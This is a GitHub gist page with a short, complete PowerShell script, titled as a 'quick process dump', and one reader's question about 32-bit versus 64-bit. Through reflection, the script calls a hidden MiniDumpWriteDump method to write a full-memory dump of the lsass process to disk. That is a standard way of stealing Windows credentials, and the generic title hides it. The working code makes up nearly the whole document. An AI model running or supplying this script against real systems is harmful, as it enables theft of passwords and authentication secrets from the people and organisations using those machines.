Skip to content

Instantly share code, notes, and snippets.

@cfalta
Created April 14, 2020 19:00
Show Gist options
  • Save cfalta/5dd1f05a307fe2e2743dadc096ae2326 to your computer and use it in GitHub Desktop.
Save cfalta/5dd1f05a307fe2e2743dadc096ae2326 to your computer and use it in GitHub Desktop.
quick process dump in powershell
$DumpFilePath = "C:\temp\file.bin"
$WER = [PSObject].Assembly.GetType("System.Management.Automation.WindowsErrorReporting")
$WERNativeMethods = $WER.GetNestedType("NativeMethods", "NonPublic")
$Flags = [Reflection.BindingFlags] "NonPublic, Static"
$MiniDumpWriteDump = $WERNativeMethods.GetMethod("MiniDumpWriteDump", $Flags)
$MiniDumpWithFullMemory = [UInt32] 2
$Process = Get-Process lsass
$ProcessId = $Process.Id
$ProcessHandle = $Process.Handle
$FileStream = New-Object IO.FileStream($DumpFilePath, [IO.FileMode]::Create)
$Result = $MiniDumpWriteDump.Invoke($null, @($ProcessHandle, $ProcessId, $FileStream.SafeFileHandle, $MiniDumpWithFullMemory, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero))
$FileStream.Close()
@vatchley-mdsol
Copy link

Is this 32bit or 64bit? Is there a way to specify which version we need?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment